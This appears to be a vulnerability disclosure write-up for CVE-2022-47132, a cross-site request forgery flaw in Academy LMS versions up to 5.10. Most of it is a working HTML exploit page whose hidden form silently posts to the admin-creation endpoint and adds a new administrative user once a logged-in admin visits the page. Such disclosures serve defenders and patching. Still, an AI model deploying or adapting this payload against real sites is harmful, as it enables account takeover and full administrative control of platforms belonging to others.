openxp-research/cve-2022-47132Academy LMS <= 5.10 CSRF
Academy LMS <= 5.10 CSRF
Academy LMS is an application where people can create and advertise courses. The ability to add a new administrative user is vulnerable to CSRF, making it possible to use social engineering to gain admin access on the platform.
#Proof of Concept (POC) The first step in our proof of concept is to authenticate to the platform with an administrative user.
After that, simply access the page that contains the code for exploiting the vulnerability, and see that a new administrative user has been added to the system.
Code used in the exploit:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/academy/admin/admins/add" method="POST">
<input type="hidden" name="first_name" value="csrf" />
<input type="hidden" name="last_name" value="vinix" />
<input type="hidden" name="biography" value="<p>csrf poc</p>" />
<input type="hidden" name="files" value="" />
<input type="hidden" name="user_image" value="" />
<input type="hidden" name="email" value="username" />
<input type="hidden" name="password" value="password" />
<input type="hidden" name="facebook_link" value="" />
<input type="hidden" name="twitter_link" value="" />
<input type="hidden" name="linkedin_link" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>